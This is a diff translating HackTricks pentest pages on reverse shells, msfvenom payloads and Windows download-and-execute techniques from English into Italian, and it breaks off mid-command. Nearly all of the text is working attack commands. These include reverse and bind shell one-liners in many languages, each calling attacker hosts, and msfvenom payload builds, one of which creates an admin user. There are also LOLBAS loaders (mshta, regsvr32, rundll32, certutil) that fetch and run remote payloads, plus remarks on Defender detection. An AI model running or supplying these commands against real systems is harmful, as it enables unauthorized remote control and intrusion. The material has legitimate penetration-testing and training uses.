- # Check if the request was successful - response.raise_for_status() +# Check if the request was successful +response.raise_for_status() - return response.text +return response.text ``` - -And then, you can run: - +E poi, puoi eseguire: ```shell toboggan -m nix.py -i ``` +Per sfruttare direttamente una shell interattiva. Puoi aggiungere `-b` per l'integrazione con Burpsuite e rimuovere il `-i` per un wrapper rce più basilare. -To directly leverage an interractive shell. You can add `-b` for Burpsuite integration and remove the `-i` for a more basic rce wrapper. +Un'altra possibilità consiste nell'utilizzare l'implementazione della shell forward di `IppSec` [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell). -Another possibility consist using the `IppSec` forward shell implementation [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell). +Devi solo modificare: -You just need to modify: +- L'URL dell'host vulnerabile +- Il prefisso e il suffisso del tuo payload (se presenti) +- Il modo in cui il payload viene inviato (headers? data? informazioni extra?) -- The URL of the vulnerable host -- The prefix and suffix of your payload (if any) -- The way the payload is sent (headers? data? extra info?) - -Then, you can just **send commands** or even **use the `upgrade` command** to get a full PTY (note that pipes are read and written with an approximate 1.3s delay). +Poi, puoi semplicemente **inviare comandi** o persino **usare il comando `upgrade`** per ottenere un PTY completo (nota che le pipe vengono lette e scritte con un ritardo approssimativo di 1,3 secondi). ## Netcat - ```bash nc -e /bin/sh nc | /bin/sh #Blind @@ -110,42 +99,32 @@ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc >/tmp nc | /bin/bash | nc rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0 1>/tmp/bkpipe ``` - ## gsocket -Check it in [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/) - +Controllalo in [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/) ```bash bash -c "$(curl -fsSL gsocket.io/x)" ``` - ## Telnet - ```bash telnet | /bin/sh #Blind rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet >/tmp/f telnet | /bin/bash | telnet rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0 1>/tmp/bkpipe ``` - ## Whois -**Attacker** - +**Attaccante** ```bash while true; do nc -l ; done ``` +Per inviare il comando scrivilo, premi invio e premi CTRL+D (per fermare STDIN) -To send the command write it down, press enter and press CTRL+D (to stop STDIN) - -**Victim** - +**Vittima** ```bash export X=Connected; while true; do X=`eval $(whois -h -p "Output: $X")`; sleep 1; done ``` - ## Python - ```bash #Linux export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' @@ -153,23 +132,17 @@ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOC #IPv6 python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");' ``` - ## Perl - ```bash perl -e 'use Socket;$i="";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' ``` - ## Ruby - ```bash ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ``` - ## PHP - ```php // Using 'exec' is the most common method, but assumes that the file descriptor will be 3. // Using this method may lead to instances where the connection reaches out to the listener and then closes. @@ -181,51 +154,41 @@ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' /dev/tcp/10.10.14.8/4444 0>&1'"); ?> ``` - ## Java - ```bash r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() ``` - ## Ncat - ```bash victim> ncat --ssl -c "bash -i 2>&1" attacker> ncat -l --ssl ``` - ## Golang - ```bash echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go ``` - ## Lua - ```bash #Linux lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');" #Windows & Linux lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' ``` - ## NodeJS - ```javascript (function(){ - var net = require("net"), - cp = require("child_process"), - sh = cp.spawn("/bin/sh", []); - var client = new net.Socket(); - client.connect(8080, "10.17.26.64", function(){ - client.pipe(sh.stdin); - sh.stdout.pipe(client); - sh.stderr.pipe(client); - }); - return /a/; // Prevents the Node.js application form crashing +var net = require("net"), +cp = require("child_process"), +sh = cp.spawn("/bin/sh", []); +var client = new net.Socket(); +client.connect(8080, "10.17.26.64", function(){ +client.pipe(sh.stdin); +sh.stdout.pipe(client); +sh.stderr.pipe(client); +}); +return /a/; // Prevents the Node.js application form crashing })(); @@ -256,19 +219,15 @@ or https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py ``` - ## OpenSSL -The Attacker (Kali) - +L'Attaccante (Kali) ```bash openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate openssl s_server -quiet -key key.pem -cert cert.pem -port #Here you will be able to introduce the commands openssl s_server -quiet -key key.pem -cert cert.pem -port #Here yo will be able to get the response ``` - -The Victim - +La Vittima ```bash #Linux openssl s_client -quiet -connect :|/bin/bash|openssl s_client -quiet -connect : @@ -276,103 +235,84 @@ openssl s_client -quiet -connect :|/bin/bash|openssl s_clien #Windows openssl.exe s_client -quiet -connect :|cmd.exe|openssl s_client -quiet -connect : ``` - ## **Socat** [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries) -### Bind shell - +### Shell di binding ```bash victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane attacker> socat FILE:`tty`,raw,echo=0 TCP::1337 ``` - ### Reverse shell - ```bash attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0 victim> socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane ``` - ## Awk - ```bash awk 'BEGIN {s = "/inet/tcp/0//"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null ``` - ## Finger -**Attacker** - +**Attaccante** ```bash while true; do nc -l 79; done ``` +Per inviare il comando scrivilo, premi invio e premi CTRL+D (per fermare STDIN) -To send the command write it down, press enter and press CTRL+D (to stop STDIN) - -**Victim** - +**Vittima** ```bash export X=Connected; while true; do X=`eval $(finger "$X"@ 2> /dev/null')`; sleep 1; done export X=Connected; while true; do X=`eval $(finger "$X"@ 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done ``` - ## Gawk - ```bash #!/usr/bin/gawk -f BEGIN { - Port = 8080 - Prompt = "bkd> " +Port = 8080 +Prompt = "bkd> " - Service = "/inet/tcp/" Port "/0/0" - while (1) { - do { - printf Prompt |& Service - Service |& getline cmd - if (cmd) { - while ((cmd |& getline) > 0) - print $0 |& Service - close(cmd) - } - } while (cmd != "exit") - close(Service) - } +Service = "/inet/tcp/" Port "/0/0" +while (1) { +do { +printf Prompt |& Service +Service |& getline cmd +if (cmd) { +while ((cmd |& getline) > 0) +print $0 |& Service +close(cmd) +} +} while (cmd != "exit") +close(Service) +} } ``` - ## Xterm -This will try to connect to your system at port 6001: - +Questo tenterà di connettersi al tuo sistema sulla porta 6001: ```bash xterm -display 10.0.0.1:1 ``` - -To catch the reverse shell you can use (which will listen in port 6001): - +Per catturare la reverse shell puoi usare (che ascolterà sulla porta 6001): ```bash # Authorize host xhost +targetip # Listen Xnest :1 ``` - ## Groovy -by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) NOTE: Java reverse shell also work for Groovy - +di [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) NOTA: La reverse shell Java funziona anche per Groovy ```bash String host="localhost"; int port=8044; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); ``` - -## References +## Riferimenti - [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/) - [http://pentestmonkey.net/cheat-sheet/shells/reverse-shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell) diff --git a/src/generic-hacking/reverse-shells/msfvenom.md b/src/generic-hacking/reverse-shells/msfvenom.md index 49444f77b..9f72cda80 100644 --- a/src/generic-hacking/reverse-shells/msfvenom.md +++ b/src/generic-hacking/reverse-shells/msfvenom.md @@ -2,38 +2,20 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! - -**Hacking Insights**\ -Engage with content that delves into the thrill and challenges of hacking - -**Real-Time Hack News**\ -Keep up-to-date with fast-paced hacking world through real-time news and insights - -**Latest Announcements**\ -Stay informed with the newest bug bounties launching and crucial platform updates - -**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! - --- ## Basic msfvenom `msfvenom -p -e -f -i LHOST=` -One can also use the `-a` to specify the architecture or the `--platform` +Si può anche usare `-a` per specificare l'architettura o `--platform` ## Listing - ```bash msfvenom -l payloads #Payloads msfvenom -l encoders #Encoders ``` - -## Common params when creating a shellcode - +## Parametri comuni nella creazione di uno shellcode ```bash -b "\x00\x0a\x0d" -f c @@ -41,162 +23,106 @@ msfvenom -l encoders #Encoders EXITFUNC=thread PrependSetuid=True #Use this to create a shellcode that will execute something with SUID ``` - ## **Windows** ### **Reverse Shell** - ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe ``` - ### Bind Shell - ```bash msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe ``` - -### Create User - +### Crea Utente ```bash msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe ``` - ### CMD Shell - ```bash msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe ``` - -### **Execute Command** - +### **Esegui Comando** ```bash msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe ``` - -### Encoder - +### Codificatore ```bash msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe ``` - -### Embedded inside executable - +### Incorporato all'interno dell'eseguibile ```bash msfvenom -p windows/shell_reverse_tcp LHOST= LPORT= -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe ``` +## Payload Linux -## Linux Payloads - -### Reverse Shell - +### Shell Inversa ```bash msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf ``` - ### Bind Shell - ```bash msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf ``` - ### SunOS (Solaris) - ```bash msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf ``` +## **Payload MAC** -## **MAC Payloads** - -### **Reverse Shell:** - +### **Shell Inversa:** ```bash msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho ``` - ### **Bind Shell** - ```bash msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho ``` - -## **Web Based Payloads** +## **Payload basati su Web** ### **PHP** #### Reverse shel**l** - ```bash msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php cat shell.php | pbcopy && echo ' shell.php && pbpaste >> shell.php ``` - ### ASP/x #### Reverse shell - ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx ``` - ### JSP #### Reverse shell - ```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw> reverse.jsp ``` +### GUERRA -### WAR - -#### Reverse Shell - +#### Shell Inversa ```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war ``` - ### NodeJS - ```bash msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) ``` - -## **Script Language payloads** +## **Payload in linguaggio di script** ### **Perl** - ```bash msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl ``` - ### **Python** - ```bash msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py ``` - ### **Bash** - ```bash msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh ``` - -
- -Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! - -**Hacking Insights**\ -Engage with content that delves into the thrill and challenges of hacking - -**Real-Time Hack News**\ -Keep up-to-date with fast-paced hacking world through real-time news and insights - -**Latest Announcements**\ -Stay informed with the newest bug bounties launching and crucial platform updates - -**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/reverse-shells/windows.md b/src/generic-hacking/reverse-shells/windows.md index 4bf4f6792..013ff1b53 100644 --- a/src/generic-hacking/reverse-shells/windows.md +++ b/src/generic-hacking/reverse-shells/windows.md @@ -4,37 +4,30 @@ ## Lolbas -The page [lolbas-project.github.io](https://lolbas-project.github.io/) is for Windows like [https://gtfobins.github.io/](https://gtfobins.github.io/) is for linux.\ -Obviously, **there aren't SUID files or sudo privileges in Windows**, but it's useful to know **how** some **binaries** can be (ab)used to perform some kind of unexpected actions like **execute arbitrary code.** +La pagina [lolbas-project.github.io](https://lolbas-project.github.io/) è per Windows come [https://gtfobins.github.io/](https://gtfobins.github.io/) è per Linux.\ +Ovviamente, **non ci sono file SUID o privilegi sudo in Windows**, ma è utile sapere **come** alcuni **binaries** possono essere (ab)usati per eseguire azioni inaspettate come **eseguire codice arbitrario.** ## NC - ```bash nc.exe -e cmd.exe ``` - ## NCAT -victim - +vittima ``` ncat.exe -e "cmd.exe /c (cmd.exe 2>&1)" #Encryption to bypass firewall ncat.exe --ssl -e "cmd.exe /c (cmd.exe 2>&1)" ``` - -attacker - +attaccante ``` ncat -l #Encryption to bypass firewall ncat -l --ssl ``` - ## SBD -**[sbd](https://www.kali.org/tools/sbd/) is a portable and secure Netcat alternative**. It works on Unix-like systems and Win32. With features like strong encryption, program execution, customizable source ports, and continuous reconnection, sbd provides a versatile solution for TCP/IP communication. For Windows users, the sbd.exe version from the Kali Linux distribution can be used as a reliable replacement for Netcat. - +**[sbd](https://www.kali.org/tools/sbd/) è un'alternativa portatile e sicura a Netcat**. Funziona su sistemi simili a Unix e Win32. Con funzionalità come crittografia forte, esecuzione di programmi, porte sorgente personalizzabili e riconnessione continua, sbd offre una soluzione versatile per la comunicazione TCP/IP. Per gli utenti Windows, la versione sbd.exe della distribuzione Kali Linux può essere utilizzata come sostituto affidabile di Netcat. ```bash # Victims machine sbd -l -p 4444 -e bash -v -n @@ -46,46 +39,34 @@ sbd 10.10.10.10 4444 id uid=0(root) gid=0(root) groups=0(root) ``` - ## Python - ```bash #Windows C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))" ``` - ## Perl - ```bash perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' ``` - ## Ruby - ```bash #Windows ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ``` - ## Lua - ```bash lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' ``` - ## OpenSSH -Attacker (Kali) - +Attaccante (Kali) ```bash openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate openssl s_server -quiet -key key.pem -cert cert.pem -port #Here you will be able to introduce the commands openssl s_server -quiet -key key.pem -cert cert.pem -port #Here yo will be able to get the response ``` - -Victim - +Vittima ```bash #Linux openssl s_client -quiet -connect :|/bin/bash|openssl s_client -quiet -connect : @@ -93,38 +74,30 @@ openssl s_client -quiet -connect :|/bin/bash|openssl s_clien #Windows openssl.exe s_client -quiet -connect :|cmd.exe|openssl s_client -quiet -connect : ``` - ## Powershell - ```bash powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex" powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')" Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')" echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile ``` - -Process performing network call: **powershell.exe**\ -Payload written on disk: **NO** (_at least nowhere I could find using procmon !_) - +Processo che esegue la chiamata di rete: **powershell.exe**\ +Payload scritto su disco: **NO** (_almeno da nessuna parte che io possa trovare usando procmon !_ ) ```bash powershell -exec bypass -f \\webdavserver\folder\payload.ps1 ``` - -Process performing network call: **svchost.exe**\ -Payload written on disk: **WebDAV client local cache** +Processo che esegue una chiamata di rete: **svchost.exe**\ +Payload scritto su disco: **Cache locale del client WebDAV** **One liner:** - ```bash $client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() ``` - -**Get more info about different Powershell Shells at the end of this document** +**Ottieni ulteriori informazioni su diversi Shell di Powershell alla fine di questo documento** ## Mshta -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - +- [Da qui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")")) ``` @@ -136,26 +109,22 @@ mshta http://webserver/payload.hta ```bash mshta \\webdavserver\folder\payload.hta ``` - -#### **Example of hta-psh reverse shell (use hta to download and execute PS backdoor)** - +#### **Esempio di reverse shell hta-psh (usa hta per scaricare ed eseguire il backdoor PS)** ```xml - + ``` +**Puoi scaricare ed eseguire molto facilmente uno zombie Koadic utilizzando l'hta stager** -**You can download & execute very easily a Koadic zombie using the stager hta** - -#### hta example - -[**From here**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f) +#### esempio hta +[**Da qui**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f) ```xml @@ -163,11 +132,9 @@ mshta \\webdavserver\folder\payload.hta ``` - #### **mshta - sct** -[**From here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) - +[**Da qui**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) ```xml @@ -178,14 +145,12 @@ mshta \\webdavserver\folder\payload.hta ``` - #### **Mshta - Metasploit** - ```bash use exploit/windows/misc/hta_server msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109 @@ -196,15 +161,13 @@ msf exploit(windows/misc/hta_server) > exploit ```bash Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit ``` - -**Detected by defender** +**Rilevato da defender** ## **Rundll32** -[**Dll hello world example**](https://github.com/carterjones/hello-world-dll) - -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) +[**Esempio di dll hello world**](https://github.com/carterjones/hello-world-dll) +- [Da qui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash rundll32 \\webdavserver\folder\payload.dll,entrypoint ``` @@ -212,13 +175,11 @@ rundll32 \\webdavserver\folder\payload.dll,entrypoint ```bash rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close(); ``` - -**Detected by defender** +**Rilevato da defender** **Rundll32 - sct** -[**From here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) - +[**Da qui**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) ```xml @@ -228,22 +189,18 @@ rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http ``` - #### **Rundll32 - Metasploit** - ```bash use windows/smb/smb_delivery run #You will be given the command to run in the victim: rundll32.exe \\10.2.0.5\Iwvc\test.dll,0 ``` - **Rundll32 - Koadic** - ```bash use stager/js/rundll32_js set SRVHOST 192.168.1.107 @@ -252,11 +209,9 @@ run #Koadic will tell you what you need to execute inside the victim, it will be something like: rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://10.2.0.5:9997/ownmG",false);x.send();eval(x.responseText);window.close(); ``` - ## Regsvr32 -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - +- [Da qui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll ``` @@ -264,32 +219,28 @@ regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll ``` regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll ``` - -**Detected by defender** +**Rilevato da defender** #### Regsvr32 -sct -[**From here**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1) - +[**Da qui**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1) ```markup - ``` - #### **Regsvr32 - Metasploit** - ```bash use multi/script/web_delivery set target 3 @@ -298,50 +249,38 @@ set lhost 10.2.0.5 run #You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll ``` - -**You can download & execute very easily a Koadic zombie using the stager regsvr** +**Puoi scaricare ed eseguire molto facilmente uno zombie Koadic usando il stager regsvr** ## Certutil -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - -Download a B64dll, decode it and execute it. +- [Da qui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) +Scarica un B64dll, decodificalo ed eseguilo. ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll ``` - -Download a B64exe, decode it and execute it. - +Scarica un B64exe, decodificalo ed eseguilo. ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe ``` - -**Detected by defender** +**Rilevato da defender** ## **Cscript/Wscript** - ```bash powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse_shell.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\"" ``` - **Cscript - Metasploit** - ```bash msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs ``` - -**Detected by defender** +**Rilevato da defender** ## PS-Bat - ```bash \\webdavserver\folder\batchfile.bat ``` - -Process performing network call: **svchost.exe**\ -Payload written on disk: **WebDAV client local cache** - +Processo che esegue la chiamata di rete: **svchost.exe**\ +Payload scritto su disco: **WebDAV client local cache** ```bash msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat impacket-smbserver -smb2support kali `pwd` @@ -350,102 +289,83 @@ impacket-smbserver -smb2support kali `pwd` ```bash \\10.8.0.3\kali\shell.bat ``` - -**Detected by defender** +**Rilevato da defender** ## **MSIExec** -Attacker - +Attaccante ``` msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi python -m SimpleHTTPServer 80 ``` - -Victim: - +Vittima: ``` victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi ``` - -**Detected** +**Rilevato** ## **Wmic** -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - +- [Da qui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash wmic os get 